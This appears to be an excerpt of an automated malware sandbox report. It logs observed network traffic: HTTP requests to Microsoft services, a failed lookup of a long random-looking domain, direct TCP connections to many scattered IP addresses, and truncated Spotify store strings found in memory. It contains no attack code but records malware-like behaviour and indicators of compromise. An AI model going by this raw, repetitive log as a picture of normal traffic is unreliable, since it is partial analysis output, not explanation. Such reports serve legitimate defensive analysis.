Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Fw4Y?ver=d097 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com

Source: unknown

Network traffic detected: IP country count 19

Source: unknown

DNS traffic detected: query: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com replaycode: Server failure (2)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50732
Source: unknown	Network traffic detected: HTTP traffic on port 56360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50617
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 50617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61624
Source: unknown	Network traffic detected: HTTP traffic on port 58449 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54669
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54670
Source: unknown	Network traffic detected: HTTP traffic on port 55361 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 55126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54797
Source: unknown	Network traffic detected: HTTP traffic on port 54592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53463
Source: unknown	Network traffic detected: HTTP traffic on port 54964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50511
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 54717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55774
Source: unknown	Network traffic detected: HTTP traffic on port 53528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 51291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53528
Source: unknown	Network traffic detected: HTTP traffic on port 54670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54061
Source: unknown	Network traffic detected: HTTP traffic on port 54956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54747
Source: unknown	Network traffic detected: HTTP traffic on port 55471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55037
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54988
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54639
Source: unknown	Network traffic detected: HTTP traffic on port 50441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50394
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52454
Source: unknown	Network traffic detected: HTTP traffic on port 54874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54876
Source: unknown	Network traffic detected: HTTP traffic on port 64977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 54747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58449
Source: unknown	Network traffic detected: HTTP traffic on port 51021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56276
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50294
Source: unknown	Network traffic detected: HTTP traffic on port 50590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55066
Source: unknown	Network traffic detected: HTTP traffic on port 55367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54817
Source: unknown	Network traffic detected: HTTP traffic on port 53463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55228
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51663
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55471
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50589
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 55771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50591
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50590
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55361
Source: unknown	Network traffic detected: HTTP traffic on port 54886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54959
Source: unknown	Network traffic detected: HTTP traffic on port 55151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54956
Source: unknown	Network traffic detected: HTTP traffic on port 54817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50232
Source: unknown	Network traffic detected: HTTP traffic on port 54203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55367
Source: unknown	Network traffic detected: HTTP traffic on port 64727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55126
Source: unknown	Network traffic detected: HTTP traffic on port 54765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54724
Source: unknown	Network traffic detected: HTTP traffic on port 52064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54964
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50536
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54343
Source: unknown	Network traffic detected: HTTP traffic on port 54988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55441
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54592
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 56276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50792
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54911
Source: unknown	Network traffic detected: HTTP traffic on port 55116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52064
Source: unknown	Network traffic detected: HTTP traffic on port 50415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50441
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64726
Source: unknown	Network traffic detected: HTTP traffic on port 54959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55441 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.108.18
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 209.87.184.8
Source: unknown	TCP traffic detected without corresponding DNS query: 167.234.200.252
Source: unknown	TCP traffic detected without corresponding DNS query: 56.27.34.29
Source: unknown	TCP traffic detected without corresponding DNS query: 112.52.186.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.106.65.167
Source: unknown	TCP traffic detected without corresponding DNS query: 195.196.254.10
Source: unknown	TCP traffic detected without corresponding DNS query: 132.244.220.8
Source: unknown	TCP traffic detected without corresponding DNS query: 208.117.159.100
Source: unknown	TCP traffic detected without corresponding DNS query: 18.59.217.118
Source: unknown	TCP traffic detected without corresponding DNS query: 99.147.0.50
Source: unknown	TCP traffic detected without corresponding DNS query: 167.37.125.148
Source: unknown	TCP traffic detected without corresponding DNS query: 177.150.214.227

Source: svchost.exe, 0000001B.00000003.707789557.000002208CB5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO"," equals www.facebook.com (Facebook)
Source: svchost.exe, 0000001B.00000003.707789557.000002208CB5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO"," equals www.twitter.com (Twitter)
Source: svchost.exe, 0000001B.00000003.707789557.000002208CB5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-20T13:21:02.8104380Z\|\|.\|\|4998f0a4-af49-449b-82d0-89396bef82ff\|\|1152921505695074449\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 0000001B.00000003.707789557.000002208CB5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-20T13:21:02.8104380Z\|\|.\|\|4998f0a4-af49-449b-82d0-89396bef82ff\|\|1152921505695074449\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 0000001B.00000003.707789557.000002208CB5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"